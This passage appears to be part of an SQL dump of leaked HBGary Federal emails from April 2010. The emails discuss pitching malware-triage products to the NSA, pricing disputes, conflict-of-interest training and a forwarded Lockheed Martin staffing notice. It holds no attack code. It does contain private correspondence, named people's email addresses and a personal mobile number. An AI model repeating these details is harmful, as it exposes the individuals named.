on the threats.\r\n\r\na well working TMC can get you into the highest levels of the organizations\r\nyou want to sell DDNA and responder to.  In this environment trickle down\r\nworks!\r\n\r\nSo my suggestion is to put TMC as a priority and get it to a point that can\r\nbe operational within customer spaces.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com \r\nVersion: 9.0.814 / Virus Database: 271.1.1/2828 - Release Date: 04/22/10\r\n02:31:00\r\n\r\n\r\n',1988,'aaron_hbgary_com/1988.html'),(5631,'2010-04-23','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297004075.M355643P14101Q487.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,,','RE: TMC','I understand what you are saying but they have been aware of DDNA for A YEAR\r\nand have had it in procurement for the last 4 months.  They are integrating\r\nit into their Scope software and yes, it\'s something they wanted, they\r\ntested it and it caught more last year than they did.  Our price should be\r\nyearly, not a one time fee and at 500 malware PER DAY, at $15K we need to\r\ncome up with a price that works.  So yes, we did have something that worked\r\nthat they wanted and they still couldn\'t get it to move.  I want hard dates,\r\nnot maybes\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, April 22, 2010 11:10 PM\r\nTo: Penny Leavy-Hoglund\r\nCc: \'Bob Slapnik\'; \'Greg Hoglund\'; \'Ted Vera\'\r\nSubject: Re: TMC\r\n\r\nWe are at the level we need to be.  I don\'t know much about the history with\r\nScott.  You have to keep in mind that procurment cycles in government can be\r\noverly strict and you can have money one day and it can be gone the next.\r\n\r\nYou don\'t want to get much higher because those folks are separated from the\r\nmission and don\'t make decisions on purchasing without getting buy in from\r\nthe mission owners.  To be honest NSA hasn\'t bought shit because you haven\'t\r\nhad anything until now that has been overly of value to them.  DDNA and TMC\r\nare what they want and need, not responder and REcon (generically speaking).\r\nThere are folks down in the weeds that need those tools, but many of them\r\nare probably pet rock type people.  TMC is what puts us over the edge with\r\nNSA and its at the right time.\r\n\r\nWe are not going to be a priority to them, honestly they don\'t give a shit\r\nabout vendors, at least that is their historical attitude but you know have\r\na product or pseudo-product that provides great benefit to them at at time\r\nwhen they are somewhat overwhelmed.\r\n\r\nI assure you we do not want to be higher than we are, what we need to do is\r\nunderstand their requirements and provide/structure a capability that fills\r\nthose requirements in a form that will be easy for them to understand,\r\npurchase, and implement into their operations.  Ted and I have worked these\r\ntypes of things many times.  Please trust me, we are at the right level.\r\n\r\nSunbelt doesn\'t give them DDNA.  Scott talked about that today.  They need\r\nsomething that helps with prioritization.\r\n\r\nAaron\r\n\r\nOn Apr 22, 2010, at 10:54 PM, Penny Leavy-Hoglund wrote:\r\n\r\n> First NSA has bought SHIT.  Second, I don\'t\' doubt TMC is important to\r\nthem,\r\n> but at $15k PER YEAR, sunbelt sells their solution which processes 500\r\n> malware a day.  Ours is MUCH larger and therefore we need to get value.\r\n> Third, Scott has not bought what he said he would A YEAR AGO and we are\r\n> STILL WAITING.  Unless we can be a priority at NSA, I doubt we\'ll get\r\n> anywhere, which means we need to be higher than we are.  I\'m not convinced\r\n> we are there, we need a high level meeting to bless the dollars.  Bob\r\ncan\'t\r\n> seem to get us there, can someone?\r\n> \r\n> -----Original Message-----\r\n> From: Bob Slapnik [mailto:bob@hbgary.com] \r\n> Sent: Thursday, April 22, 2010 9:35 PM\r\n> To: \'Aaron Barr\'; \'Greg Hoglund\'\r\n> Cc: \'Penny Leavy\'; \'Ted Vera\'\r\n> Subject: RE: TMC\r\n> \r\n> All,\r\n> \r\n> With the NSA NTOC and ANO we are at the \"tip of the spear\" for all things\r\n> gov\'t and DoD cyber defense.  Remember, this is the epicenter of the new\r\nDoD\r\n> Cyber Command.  Succeeding with TMC at NSA will start off with \"just\" a\r\nfew\r\n> hundred thousand dollars for software licensing and 1-2 people full time\r\nHBG\r\n> Fed people to managing it .  We are going to get so much more. Consider\r\nthe\r\n> following......\r\n> \r\n> - NTOC probably has dozens (maybe more) malware analysts.  They can buy\r\nmany\r\n> copies of Responder.  And they will spread the word to other gov\'t and DoD\r\n> organizations to do the same.  Gov\'t likes to operate with a \"herd\r\n> mentality\".\r\n> \r\n> - Having TMC there with 1-2 engineers running it will get HBGary hugely\r\n> valuable info about what is truly needed.  This will help our products\r\n> evolve over time.\r\n> \r\n> - DDNA will be part of TMC.  NSA will build a powerful Customer Genome\r\nthat\r\n> they could share with other agencies.  The use of DDNA will spread leading\r\n> to enterprise deals.\r\n> \r\n> Aaron, are you clear how we tie TMC to net defense?  Is it the automated\r\n> creation of SNORT signatures?  Or will there be more to it?\r\n> \r\n> Bob \r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Thursday, April 22, 2010 6:58 PM\r\n> To: Greg Hoglund\r\n> Cc: Bob Slapnik; Penny Leavy; Ted Vera\r\n> Subject: TMC\r\n> \r\n> Greg,\r\n> \r\n> I spoke with the Scott Brown from the Blue Team today.  He is also very\r\n> interested in the TMC but is talking about an enterprise solution for NSA\r\n> rather than a bunch of one offs.  Matt Bodmer mentioned the same thing.\r\n> \r\n> Here is the deal.  We will get one shot at this.  Greg we can talk in\r\nperson\r\n> about this tomorrow.  If they buy it and it sucks, they will shut it down\r\n> and we won\'t get back in.  \r\n> \r\n> My opinion.  You will sell a lot more copies of responder and REcon if we\r\n> can tie it to net defense.  The way to tie it to net defense is through\r\nI&W\r\n> / Threat Intelligence to start.  Government organizations especially if\r\nyou\r\n> want to deploy things on endpoints, well its painful, lengthy C&A process.\r\n> But if you get the TMC in, which is far easier to get approved, get them\r\n> familiar with DDNA, get data to improve DDNA, then you will get much\r\n> stronger advocates to integrate the endpoints.  Remember what I have been\r\n> talking about since I started with HBGary.  The focus right now in\r\n> government is on the perimeter and in organizing and providing better\r\n> information on the threats.\r\n> \r\n> a well working TMC can get you into the highest levels of the\r\norganizations\r\n> you want to sell DDNA and responder to.  In this environment trickle down\r\n> works!\r\n> \r\n> So my suggestion is to put TMC as a priority and get it to a point that\r\ncan\r\n> be operational within customer spaces.\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> No virus found in this incoming message.\r\n> Checked by AVG - www.avg.com \r\n> Version: 9.0.814 / Virus Database: 271.1.1/2828 - Release Date: 04/22/10\r\n> 02:31:00\r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n',978,'aaron_hbgary_com/978.html'),(5632,'2010-04-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004075.M637644P14101Q488.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>,,','Re: TMC','OK.  Well lets talk some more about it.  DDNA is very helpful but to the NSA its the combination of the TMC and DDNA for triage that is the big winner.  You do have something that they want but it isnt to the magnitude of the TMC.  So they have existing tools they use and Responder and REcon with DDNA will improve upon their tools.  THey don\'t have anything currently that will prioritize (triage) malware.  As Scott and Matt both said, they need an enterprise solution.  And remember this demo is not for Scott, although he will be there.  Its for Matt, who we don\'t have a history with, so lets give him the benefit of the doubt when he says he wants it and wants to buy it.\r\n\r\nLets see how things roll out next friday and not go into it with too many preconceived notions.  Understand it may take a bit to get it all rolling, or it may not.  It all depends on how badly they need it and what their budget is like right now.  If he has money available it could go quick, if he has to go find the money well thats slower.\r\n\r\nBob and I will get this locked in don\'t worry.  We need to be flexible to their environment and responsive to their needs.  If we can meet those two items we will get the TMC in the NTOC.  The resultant benefit to HBGary revenue (outside of that sale) will be noticeable.\r\n\r\nAaron\r\n\r\n\r\nOn Apr 22, 2010, at 11:14 PM, Penny Leavy-Hoglund wrote:\r\n\r\n> I understand what you are saying but they have been aware of DDNA for A YEAR\r\n> and have had it in procurement for the last 4 months.  They are integrating\r\n> it into their Scope software and yes, it\'s something they wanted, they\r\n> tested it and it caught more last year than they did.  Our price should be\r\n> yearly, not a one time fee and at 500 malware PER DAY, at $15K we need to\r\n> come up with a price that works.  So yes, we did have something that worked\r\n> that they wanted and they still couldn\'t get it to move.  I want hard dates,\r\n> not maybes\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Thursday, April 22, 2010 11:10 PM\r\n> To: Penny Leavy-Hoglund\r\n> Cc: \'Bob Slapnik\'; \'Greg Hoglund\'; \'Ted Vera\'\r\n> Subject: Re: TMC\r\n> \r\n> We are at the level we need to be.  I don\'t know much about the history with\r\n> Scott.  You have to keep in mind that procurment cycles in government can be\r\n> overly strict and you can have money one day and it can be gone the next.\r\n> \r\n> You don\'t want to get much higher because those folks are separated from the\r\n> mission and don\'t make decisions on purchasing without getting buy in from\r\n> the mission owners.  To be honest NSA hasn\'t bought shit because you haven\'t\r\n> had anything until now that has been overly of value to them.  DDNA and TMC\r\n> are what they want and need, not responder and REcon (generically speaking).\r\n> There are folks down in the weeds that need those tools, but many of them\r\n> are probably pet rock type people.  TMC is what puts us over the edge with\r\n> NSA and its at the right time.\r\n> \r\n> We are not going to be a priority to them, honestly they don\'t give a shit\r\n> about vendors, at least that is their historical attitude but you know have\r\n> a product or pseudo-product that provides great benefit to them at at time\r\n> when they are somewhat overwhelmed.\r\n> \r\n> I assure you we do not want to be higher than we are, what we need to do is\r\n> understand their requirements and provide/structure a capability that fills\r\n> those requirements in a form that will be easy for them to understand,\r\n> purchase, and implement into their operations.  Ted and I have worked these\r\n> types of things many times.  Please trust me, we are at the right level.\r\n> \r\n> Sunbelt doesn\'t give them DDNA.  Scott talked about that today.  They need\r\n> something that helps with prioritization.\r\n> \r\n> Aaron\r\n> \r\n> On Apr 22, 2010, at 10:54 PM, Penny Leavy-Hoglund wrote:\r\n> \r\n>> First NSA has bought SHIT.  Second, I don\'t\' doubt TMC is important to\r\n> them,\r\n>> but at $15k PER YEAR, sunbelt sells their solution which processes 500\r\n>> malware a day.  Ours is MUCH larger and therefore we need to get value.\r\n>> Third, Scott has not bought what he said he would A YEAR AGO and we are\r\n>> STILL WAITING.  Unless we can be a priority at NSA, I doubt we\'ll get\r\n>> anywhere, which means we need to be higher than we are.  I\'m not convinced\r\n>> we are there, we need a high level meeting to bless the dollars.  Bob\r\n> can\'t\r\n>> seem to get us there, can someone?\r\n>> \r\n>> -----Original Message-----\r\n>> From: Bob Slapnik [mailto:bob@hbgary.com] \r\n>> Sent: Thursday, April 22, 2010 9:35 PM\r\n>> To: \'Aaron Barr\'; \'Greg Hoglund\'\r\n>> Cc: \'Penny Leavy\'; \'Ted Vera\'\r\n>> Subject: RE: TMC\r\n>> \r\n>> All,\r\n>> \r\n>> With the NSA NTOC and ANO we are at the \"tip of the spear\" for all things\r\n>> gov\'t and DoD cyber defense.  Remember, this is the epicenter of the new\r\n> DoD\r\n>> Cyber Command.  Succeeding with TMC at NSA will start off with \"just\" a\r\n> few\r\n>> hundred thousand dollars for software licensing and 1-2 people full time\r\n> HBG\r\n>> Fed people to managing it .  We are going to get so much more. Consider\r\n> the\r\n>> following......\r\n>> \r\n>> - NTOC probably has dozens (maybe more) malware analysts.  They can buy\r\n> many\r\n>> copies of Responder.  And they will spread the word to other gov\'t and DoD\r\n>> organizations to do the same.  Gov\'t likes to operate with a \"herd\r\n>> mentality\".\r\n>> \r\n>> - Having TMC there with 1-2 engineers running it will get HBGary hugely\r\n>> valuable info about what is truly needed.  This will help our products\r\n>> evolve over time.\r\n>> \r\n>> - DDNA will be part of TMC.  NSA will build a powerful Customer Genome\r\n> that\r\n>> they could share with other agencies.  The use of DDNA will spread leading\r\n>> to enterprise deals.\r\n>> \r\n>> Aaron, are you clear how we tie TMC to net defense?  Is it the automated\r\n>> creation of SNORT signatures?  Or will there be more to it?\r\n>> \r\n>> Bob \r\n>> \r\n>> \r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n>> Sent: Thursday, April 22, 2010 6:58 PM\r\n>> To: Greg Hoglund\r\n>> Cc: Bob Slapnik; Penny Leavy; Ted Vera\r\n>> Subject: TMC\r\n>> \r\n>> Greg,\r\n>> \r\n>> I spoke with the Scott Brown from the Blue Team today.  He is also very\r\n>> interested in the TMC but is talking about an enterprise solution for NSA\r\n>> rather than a bunch of one offs.  Matt Bodmer mentioned the same thing.\r\n>> \r\n>> Here is the deal.  We will get one shot at this.  Greg we can talk in\r\n> person\r\n>> about this tomorrow.  If they buy it and it sucks, they will shut it down\r\n>> and we won\'t get back in.  \r\n>> \r\n>> My opinion.  You will sell a lot more copies of responder and REcon if we\r\n>> can tie it to net defense.  The way to tie it to net defense is through\r\n> I&W\r\n>> / Threat Intelligence to start.  Government organizations especially if\r\n> you\r\n>> want to deploy things on endpoints, well its painful, lengthy C&A process.\r\n>> But if you get the TMC in, which is far easier to get approved, get them\r\n>> familiar with DDNA, get data to improve DDNA, then you will get much\r\n>> stronger advocates to integrate the endpoints.  Remember what I have been\r\n>> talking about since I started with HBGary.  The focus right now in\r\n>> government is on the perimeter and in organizing and providing better\r\n>> information on the threats.\r\n>> \r\n>> a well working TMC can get you into the highest levels of the\r\n> organizations\r\n>> you want to sell DDNA and responder to.  In this environment trickle down\r\n>> works!\r\n>> \r\n>> So my suggestion is to put TMC as a priority and get it to a point that\r\n> can\r\n>> be operational within customer spaces.\r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n>> No virus found in this incoming message.\r\n>> Checked by AVG - www.avg.com \r\n>> Version: 9.0.814 / Virus Database: 271.1.1/2828 - Release Date: 04/22/10\r\n>> 02:31:00\r\n>> \r\n>> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',2264,'aaron_hbgary_com/2264.html'),(5633,'2010-04-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004075.M887371P14101Q489.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: SETA Education','Sure. &nbsp;I will give you a call tomorrow. &nbsp;I want to make sure I understand what Mandiants customer roll is to know how to approach it. &nbsp;Plus I want to talk TMC.AaronOn Apr 22, 2010, at 10:46 PM, Penny Leavy-Hoglund wrote:Aaron,&nbsp;Can I schedule a call to discuss the above with the sales people?&nbsp; We had a person from Mandiant who is working for NSA, try to attend our training class.&nbsp; He did not disclose his conflict of interest. &nbsp;Bob and Maria are not aware of this requirement, so I want to educate them.&nbsp;Let me know when would work for you&nbsp;ThanksPenny&nbsp;Penny C. LeavyPresidentHBGary, Inc&nbsp;&nbsp;NOTICE –&nbsp;Any tax information or written tax advice contained herein (including attachments) is not intended to be and cannot be used by any taxpayer for the purpose of avoiding tax penalties that may be imposed on&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed pursuant to U.S. Treasury regulations governing tax practice.)&nbsp;This message and any attached files may contain information that is confidential and/or subject of legal privilege intended only for use by the intended recipient. If you are not the intended recipient or the person responsible for&nbsp;&nbsp; delivering the message to the intended recipient, be advised that you have received this message in error and that any dissemination, copying or use of this message or attachment is strictly&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',4804,'aaron_hbgary_com/4804.html'),(5634,'2010-04-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004075.M94018P14101Q486.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>,,','Re: TMC','We are at the level we need to be.  I don\'t know much about the history with Scott.  You have to keep in mind that procurment cycles in government can be overly strict and you can have money one day and it can be gone the next.\r\n\r\nYou don\'t want to get much higher because those folks are separated from the mission and don\'t make decisions on purchasing without getting buy in from the mission owners.  To be honest NSA hasn\'t bought shit because you haven\'t had anything until now that has been overly of value to them.  DDNA and TMC are what they want and need, not responder and REcon (generically speaking).  There are folks down in the weeds that need those tools, but many of them are probably pet rock type people.  TMC is what puts us over the edge with NSA and its at the right time.\r\n\r\nWe are not going to be a priority to them, honestly they don\'t give a shit about vendors, at least that is their historical attitude but you know have a product or pseudo-product that provides great benefit to them at at time when they are somewhat overwhelmed.\r\n\r\nI assure you we do not want to be higher than we are, what we need to do is understand their requirements and provide/structure a capability that fills those requirements in a form that will be easy for them to understand, purchase, and implement into their operations.  Ted and I have worked these types of things many times.  Please trust me, we are at the right level.\r\n\r\nSunbelt doesn\'t give them DDNA.  Scott talked about that today.  They need something that helps with prioritization.\r\n\r\nAaron\r\n\r\nOn Apr 22, 2010, at 10:54 PM, Penny Leavy-Hoglund wrote:\r\n\r\n> First NSA has bought SHIT.  Second, I don\'t\' doubt TMC is important to them,\r\n> but at $15k PER YEAR, sunbelt sells their solution which processes 500\r\n> malware a day.  Ours is MUCH larger and therefore we need to get value.\r\n> Third, Scott has not bought what he said he would A YEAR AGO and we are\r\n> STILL WAITING.  Unless we can be a priority at NSA, I doubt we\'ll get\r\n> anywhere, which means we need to be higher than we are.  I\'m not convinced\r\n> we are there, we need a high level meeting to bless the dollars.  Bob can\'t\r\n> seem to get us there, can someone?\r\n> \r\n> -----Original Message-----\r\n> From: Bob Slapnik [mailto:bob@hbgary.com] \r\n> Sent: Thursday, April 22, 2010 9:35 PM\r\n> To: \'Aaron Barr\'; \'Greg Hoglund\'\r\n> Cc: \'Penny Leavy\'; \'Ted Vera\'\r\n> Subject: RE: TMC\r\n> \r\n> All,\r\n> \r\n> With the NSA NTOC and ANO we are at the \"tip of the spear\" for all things\r\n> gov\'t and DoD cyber defense.  Remember, this is the epicenter of the new DoD\r\n> Cyber Command.  Succeeding with TMC at NSA will start off with \"just\" a few\r\n> hundred thousand dollars for software licensing and 1-2 people full time HBG\r\n> Fed people to managing it .  We are going to get so much more. Consider the\r\n> following......\r\n> \r\n> - NTOC probably has dozens (maybe more) malware analysts.  They can buy many\r\n> copies of Responder.  And they will spread the word to other gov\'t and DoD\r\n> organizations to do the same.  Gov\'t likes to operate with a \"herd\r\n> mentality\".\r\n> \r\n> - Having TMC there with 1-2 engineers running it will get HBGary hugely\r\n> valuable info about what is truly needed.  This will help our products\r\n> evolve over time.\r\n> \r\n> - DDNA will be part of TMC.  NSA will build a powerful Customer Genome that\r\n> they could share with other agencies.  The use of DDNA will spread leading\r\n> to enterprise deals.\r\n> \r\n> Aaron, are you clear how we tie TMC to net defense?  Is it the automated\r\n> creation of SNORT signatures?  Or will there be more to it?\r\n> \r\n> Bob \r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Thursday, April 22, 2010 6:58 PM\r\n> To: Greg Hoglund\r\n> Cc: Bob Slapnik; Penny Leavy; Ted Vera\r\n> Subject: TMC\r\n> \r\n> Greg,\r\n> \r\n> I spoke with the Scott Brown from the Blue Team today.  He is also very\r\n> interested in the TMC but is talking about an enterprise solution for NSA\r\n> rather than a bunch of one offs.  Matt Bodmer mentioned the same thing.\r\n> \r\n> Here is the deal.  We will get one shot at this.  Greg we can talk in person\r\n> about this tomorrow.  If they buy it and it sucks, they will shut it down\r\n> and we won\'t get back in.  \r\n> \r\n> My opinion.  You will sell a lot more copies of responder and REcon if we\r\n> can tie it to net defense.  The way to tie it to net defense is through I&W\r\n> / Threat Intelligence to start.  Government organizations especially if you\r\n> want to deploy things on endpoints, well its painful, lengthy C&A process.\r\n> But if you get the TMC in, which is far easier to get approved, get them\r\n> familiar with DDNA, get data to improve DDNA, then you will get much\r\n> stronger advocates to integrate the endpoints.  Remember what I have been\r\n> talking about since I started with HBGary.  The focus right now in\r\n> government is on the perimeter and in organizing and providing better\r\n> information on the threats.\r\n> \r\n> a well working TMC can get you into the highest levels of the organizations\r\n> you want to sell DDNA and responder to.  In this environment trickle down\r\n> works!\r\n> \r\n> So my suggestion is to put TMC as a priority and get it to a point that can\r\n> be operational within customer spaces.\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> No virus found in this incoming message.\r\n> Checked by AVG - www.avg.com \r\n> Version: 9.0.814 / Virus Database: 271.1.1/2828 - Release Date: 04/22/10\r\n> 02:31:00\r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',6850,'aaron_hbgary_com/6850.html'),(5635,'2010-04-23','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297004076.M133797P14101Q490.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: SETA Education','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nSure, SETA info should be general, nothing specific to Mandiant,\r\njust what to look for.&nbsp; We had this issue with Harris/Crucial as well.&nbsp; With\r\nregards to TMC sure.&nbsp; The issue at NSA is that we are not high enough to move\r\nan order through procurement.&nbsp; If it gets stuck, we wait as we are doing now.&nbsp;\r\nBob is playing in the weeds, we need to get to the decision makers so we can\r\nget what we want, when we want.&nbsp; We&#8217;ve given them free training, use of product\r\nwithout charge and still NO ORDER from NSA.&nbsp; It&#8217;s for ($%)( $50K, it&#8217;s not like\r\nit&#8217;s $1.0M.&nbsp; Unless there is a decision maker who can move things along, you&#8217;ll\r\nwait years.&nbsp; This deal has been going on since last year at this time.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, April 22, 2010 11:48 PM\r\nTo: Penny Leavy-Hoglund\r\nSubject: Re: SETA Education\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nSure. &nbsp;I will give you a call tomorrow. &nbsp;I want to\r\nmake sure I understand what Mandiants customer roll is to know how to approach\r\nit. &nbsp;Plus I want to talk TMC.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Apr 22, 2010, at 10:46 PM, Penny Leavy-Hoglund wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nCan\r\nI schedule a call to discuss the above with the sales people?&nbsp; We had a\r\nperson from Mandiant who is working for NSA, try to attend our training\r\nclass.&nbsp; He did not disclose his conflict of interest. &nbsp;Bob and Maria\r\nare not aware of this requirement, so I want to educate them.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nLet\r\nme know when would work for you\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThanks\r\n\r\n\r\n\r\n\r\n\r\nPenny\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nPenny\r\nC. Leavy\r\n\r\n\r\n\r\n\r\n\r\nPresident\r\n\r\n\r\n\r\n\r\n\r\nHBGary,\r\nInc\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nNOTICE &#8211;&nbsp;Any tax information or written tax advice contained herein\r\n(including attachments) is not intended to be and cannot be used by any\r\ntaxpayer for the purpose of avoiding tax penalties that may be imposed\r\non&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed pursuant to\r\nU.S. Treasury regulations governing tax practice.)\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThis message and any attached files may contain information that is\r\nconfidential and/or subject of legal privilege intended only for use by the\r\nintended recipient. If you are not the intended recipient or the person\r\nresponsible for&nbsp;&nbsp; delivering the message to the intended recipient,\r\nbe advised that you have received this message in error and that any\r\ndissemination, copying or use of this message or attachment is strictly\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15690,'aaron_hbgary_com/15690.html'),(5636,'2010-04-23','\"Staley, Ryan E\" <ryan.e.staley@lmco.com>','/aaron@hbgary.com/new/1297004076.M351325P14101Q491.eml','\"Staley, Ryan E\" <ryan.e.staley@lmco.com>','Resend: UNO - Task Order Marathon - Candidate Selection/Position Fill Notification - Lockheed Martin Proprietary Information','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nLockheed Martin Proprietary Information \r\nProprietary information owned by Lockheed Martin that requires protection from\r\nunauthorized disclosure. Access is restricted to employees, and authorized\r\nindividuals who have executed nondisclosure agreements or who are otherwise\r\nlegally bound by confidentiality obligations to Lockheed Martin. \r\n\r\n. \r\n. \r\n. \r\nMessage Start: \r\n----------------------- \r\n\r\nI am sending\r\nthis again with an updated distribution.&nbsp; Thanks.\r\n\r\nUNO E-MAIL\r\nto Teammates on Candidate Selection/Position Fill Announcement of Call for Resumes\r\non Task Order Position Vacancy\r\n\r\nGood Morning:\r\n\r\n&nbsp;\r\n\r\nThe UNO Sponsor has selected an SAIC Candidate\r\nto fill the UNO Task Order Marathon Senior Software Engineer position\r\nvacancy announced on 25 March 2010.&nbsp; The selection decision was based on a\r\nSponsor detailed resume review followed by a successful personal interview.\r\n\r\n&nbsp;\r\n\r\nUNO appreciates your continued efforts supporting the\r\nSponsor&#8217;s technical staffing requirements through the sharing of highly\r\ncapable and unique skilled personnel.&nbsp; We look forward to your future Task\r\nOrder candidate proposals, wishing you successful selection in the next\r\neffort.&nbsp; This position fill action closes the recruitment effort.&nbsp;\r\nAll non selected candidate resumes will be retired.\r\n\r\n&nbsp;\r\n\r\nUNO is expecting an additional Call for Resumes on Task Order\r\nMarathon for Software Engineers within the next two-three weeks.&nbsp; As\r\nalways, a Call for Resumes will be promulgated via E-mail. \r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nSincerely,\r\n\r\n&nbsp;\r\n\r\nRichard Mai\r\n\r\nUNO\r\n\r\nProgram Manager \r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12518,'aaron_hbgary_com/12518.html'),(5637,'2010-04-23','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297004076.M588201P14101Q492.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','FW: Resend: UNO - Task Order Marathon - Candidate Selection/Position Fill Notification - Lockheed Martin Proprietary Information','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary, Inc.\r\n\r\nOffice 301-652-8885 x104&nbsp; | Mobile 240-481-1419\r\n\r\nwww.hbgary.com&nbsp; |&nbsp; bob@hbgary.com\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Staley, Ryan E\r\n[mailto:ryan.e.staley@lmco.com] \r\nSent: Friday, April 23, 2010 9:35 AM\r\nTo: Staley, Ryan E\r\nSubject: Resend: UNO - Task Order Marathon - Candidate\r\nSelection/Position Fill Notification - Lockheed Martin Proprietary Information\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nLockheed Martin Proprietary Information \r\nProprietary information owned by Lockheed Martin that requires protection from\r\nunauthorized disclosure. Access is restricted to employees, and authorized individuals\r\nwho have executed nondisclosure agreements or who are otherwise legally bound\r\nby confidentiality obligations to Lockheed Martin. \r\n\r\n. \r\n. \r\n. \r\nMessage Start: \r\n----------------------- \r\n\r\nI am sending\r\nthis again with an updated distribution.&nbsp; Thanks.\r\n\r\nUNO E-MAIL\r\nto Teammates on Candidate Selection/Position Fill Announcement of Call for\r\nResumes on Task Order Position Vacancy\r\n\r\nGood Morning:\r\n\r\n&nbsp;\r\n\r\nThe UNO Sponsor has selected an SAIC Candidate\r\nto fill the UNO Task Order Marathon Senior Software Engineer position\r\nvacancy announced on 25 March 2010.&nbsp; The selection decision was based on a\r\nSponsor detailed resume review followed by a successful personal interview.\r\n\r\n&nbsp;\r\n\r\nUNO appreciates your continued efforts supporting the Sponsor&#8217;s\r\ntechnical staffing requirements through the sharing of highly capable and\r\nunique skilled personnel.&nbsp; We look forward to your future Task Order\r\ncandidate proposals, wishing you successful selection in the next effort.&nbsp;\r\nThis position fill action closes the recruitment effort.&nbsp; All non selected\r\ncandidate resumes will be retired.\r\n\r\n&nbsp;\r\n\r\nUNO is expecting an additional Call for Resumes on Task Order\r\nMarathon for Software Engineers within the next two-three weeks.&nbsp; As\r\nalways, a Call for Resumes will be promulgated via E-mail. 